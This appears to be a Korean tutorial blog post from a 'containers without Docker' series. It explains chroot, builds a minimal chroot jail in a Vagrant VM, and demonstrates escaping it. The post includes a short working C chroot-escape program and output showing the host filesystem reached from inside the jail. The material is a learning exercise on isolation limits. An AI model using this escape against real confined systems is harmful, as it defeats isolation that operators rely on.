도커 없이 컨테이너 만들기 - chroot 탈옥편
👋 여는 글
본 글은 "도커 없이 컨테이너 만들기" 시리즈 중 "chroot 탈옥" 따라해보기 시리즈에 대한 학습을 정리한 내용입니다. 참고
🖊 개요
1. 환경 구성
1) Git clone
- Sam Young Kim님의 GitHub에서 샘플 소스 다운합니다
$ git clone https://github.com/netpple/make-container-without-docker.git
2) VM 생성 및 확인
- 샘플로 제작된 Vagrantfile을 사용하여 vagrant 환경을 구성합니다
$ cd make-container-without-docker
$ vagrant up
vagrant status
명령으로 VM 상태를 확인합니다
$ vagrant status
3) VM 접속
vagrant ssh
명령으로 생성된 VM에 접속합니다
$ vagrant ssh ubuntu1804
vagrant@ubuntu1804:~$
- 접속 후 root 계정으로 변경합니다
sudo -Es
cd /tmp
❓ chroot란?
📢 chroot 소개
chroot란 Change Root Directiory의 줄임말로 현재 실행중인 프로세스와 자녀 프로세스의 루트 디렉토리를 변경하는 작업입니다. chroot를 이용해 변경된 루트 디렉토리에서는 그 상위에 디렉토리 (ex. 본래 루트 디렉토리)에 파일 및 명령에 접근할 수 없게합니다.
💡 chroot 좀 더 알아보기
좀 더 자세히 알아보면 시스템에는 /라고 일컬어지는 루트 디렉터리가 존재합니다. 이 루트 디렉터리는 파일 시스템의 최상위를 의미하는 특별한 위치이며, 모든 디렉터리와 파일은 이 루트 디렉터리 아래에 존재합니다.
- pstree 구조
루트 디렉터리 아래에 A, B, C 그리고 다시 A 아래에 D, E 요소가 있는 구조를 생각해보겠습니다. 위 그림에서 확인할 수 있듯이 모든 요소는 루트 아래에 존재하게 됩니다. 이 시스템 위에서 어떤 프로세스 R을 실행했다고 해보겠습니다.
이 프로세스 R은 기본적으로 루트 디렉터리를 기준으로 다른 파일들을 탐색할 수 있습니다. 예를 들어 프로세스 아래에서 A 아래의 E 파일에 접근하고자 한다면 /A/E와 같이 접근할 수 있습니다. 우리가 실행하는 프로세스들은 기본적으로 이러한 방식으로 파일 시스템에 접근합니다. 즉, 일반적인 프로세스는 파일 시스템의 /를 루트 디렉터리로 하는 프로세스라고 말할 수 있습니다.
chroot는 바로 이 루트 디렉터리 /를 다른 위치로 지정해서 프로세스를 실행해주는 프로그램입니다. 여기서 아주 중요한 사실이 있습니다. 루트 디렉터리를 파일 시스템의 최상위 요소인 /으로 지정하지 않는다면, 결국 / 아래의 어떤 디렉터리만이 새로운 루트가 될 수 있다는 점입니다. 예를 들어 A를 루트 디렉터리로 하는 프로세스 K를 생각해보겠습니다.
chroot를 사용해 실행된 프로세스 K의 루트 디렉터리는 더 이상 /이 아닙니다. /A가 루트 디렉터리가 됩니다. 여기서 프로세스 R과 아주 중요한 차이가 발생합니다. 프로세스 R은 /를 기준으로 그 아래의 모든 파일을 탐색할 수 있었습니다. 하지만 프로세스 K의 루트 디렉터리는 /A이기 때문에 /에 접근하는 것이 불가능합니다. 그리고 / 아래에 있는 B와 C에도 접근할 수 없습니다. 왜냐면 프로세스 K에게는 /A가 최상위 디렉터리, 즉 /이기 때문에 그 위에 있는 경로를 표현할 방법 자체가 없습니다.
❗ 요약
이처럼 루트 디렉터리를 변경하면 특정 프로세스(K)가 상위 디렉터리에 접근할 수 없도록 격리 시킬 수 있습니다. 정확히 이 역할을 하는 것이 chroot 명령어입니다.
💡 출처 : https://www.44bits.io/ko/post/change-root-directory-by-using-chroot
다음은 직접 chroot에 대한 실습을 진행해보려 합니다.
폴더 생성 및 chroot 실행
- new-root 폴더를 만들고, chroot 합니다.
mkdir new-root
chroot new-root /bin/bash
🔥 에러발생 :
chroot: failed to run command /bin/bash: No such file or directory
...
/bin/bash
는 new-root 경로를 기준으로 실행할 커맨드가 경로에 없어 에러 메세지가 뜨는 것입을 알 수 있죠?
/bin/bash
파일을 new-root/bin
으로 복사해주시고, /bin/bash
에서 실행 시 참조하는 라이브러리들 까지 복사해줍니다.
- bash 확인 및
new-root/bin
생성합니다
which bash
-> /bin/bash
mkdir -p new-root/bin
cp /bin/bash new-root/bin
🔍 ldd 의존성 확인
- ldd 명령어로 라이브러리를 확인합니다
root@ubuntu1804:/tmp# ldd /bin/bash
linux-vdso.so.1 (0x00007ffe16aa1000)
libtinfo.so.5 => /lib/x86_64-linux-gnu/libtinfo.so.5 (0x00007f4a1db6e000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f4a1d96a000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f4a1d579000)
/lib64/ld-linux-x86-64.so.2 (0x00007f4a1e0b2000)
- 위에 ldd로 확인한 라이브러리들을 new-root/lib 폴더를 만들고 한땀 한땀 복사해 줍니다.
mkdir new-root/lib
19 cp /bin/ls new-root/bin
20 cp /lib/x86_64-linux-gnu/libselinux.so.1 new-root/bin
21 cp /lib/x86_64-linux-gnu/libc.so.6 new-root/bin
22 cp /lib/x86_64-linux-gnu/libpcre.so.3 new-root/bin
23 cp /lib/x86_64-linux-gnu/libdl.so.2 new-root/bin
24 cp /lib64/ld-linux-x86-64.so.2 new-root/lib64/
25 cp /lib/x86_64-linux-gnu/libpthread.so.0 new-root/bin
다시 chroot ~
chroot new-root /bin/bash
이젠 접속 할 수 있어요 .
하지만 ls 입력시 아래와 같은 에러가 뜹니다..
bash-4.4# ls
ls: error while loading shared libraries: libselinux.so.1: cannot open shared object file: No such file or directory
해결하기 위해서 위에 처럼 한땀한땀 라이브러리를 복사해요
root@ubuntu1804:/tmp# ldd /bin/ls
linux-vdso.so.1 (0x00007ffee9dbb000)
libselinux.so.1 => /lib/x86_64-linux-gnu/libselinux.so.1 (0x00007f09025b8000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f09021c7000)
libpcre.so.3 => /lib/x86_64-linux-gnu/libpcre.so.3 (0x00007f0901f55000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f0901d51000)
/lib64/ld-linux-x86-64.so.2 (0x00007f0902a02000)
libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f0901b32000)
cp /bin/ls new-root/bin
cp /lib/x86_64-linux-gnu/libselinux.so.1 new-root/lib
cp /lib/x86_64-linux-gnu/libc.so.6 new-root/lib
cp /lib/x86_64-linux-gnu/libpcre.so.3 new-root/lib
cp /lib/x86_64-linux-gnu/libdl.so.2 new-root/lib
cp /lib/x86_64-linux-gnu/libpthread.so.0 new-root/lib
cp /lib64/ld-linux-x86-64.so.2 new-root/lib64
입력하면 이제는 ls 명령어를 활용 할 수 있어요.. 그런데 root와는 다른 내용들을 확인 할 수 있어요..
chroot new-root /bin/bash
bash-4.4# ls /
bin escape_chroot lib lib64
🔨 탈옥코드
다음은 탈옥을 위한 .c
파일 입니다.
# vi escape_chroot.c
#include <sys/stat.h>
#include <unistd.h>
int main(void)
{
mkdir(".out", 0755);
chroot(".out");
chdir("../../../../../");
chroot(".");
return execl("/bin/sh", "-i", NULL);
}
실제로 .c
파일을 사용하기 위해 gcc
을 통해 코드 컴파일을 합니다.
# gcc -o new-root/escape_chroot escape_chroot.c
이제 다시한번 chroot
을 실행해 봅시다.
# chroot new-root /bin/bash
✨ 확인
아래와 같이 확인할 수 있습니다!
bash-4.4# ls /
bin escape_chroot lib lib64
bash-4.4# ./escape_chroot
#
# ls /
bin etc initrd.img.old lost+found opt run srv usr vmlinuz
boot home lib media proc sbin sys vagrant vmlinuz.old
dev initrd.img lib64 mnt root snap tmp var
🤔 chroot 한계!
위에서 보신 것 과 같이 chroot는 아래와 같은 한계를 갖고 있는데요...
이를 해결 할 수 있는 방법에 대해 다음 포스팅에서 알아 보도록 하겠습니다.
- isolation 되지 않음 : 호스트의 filesystems, process tree, network, ipc, … 에 접근 가능
- root 권한 사용 : root 권한과 그에 따른 보안 문제 초래 가능
- resource 무제한 : cpu, memory, i/o, network, … 호스트의 자원을 제한 없이 사용 가능
💡 출처:
다음 편에 또 만나요👏
Author And Source
이 문제에 관하여(도커 없이 컨테이너 만들기 - chroot 탈옥편), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://velog.io/@yuran3391/chroot-탈옥저자 귀속: 원작자 정보가 원작자 URL에 포함되어 있으며 저작권은 원작자 소유입니다.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)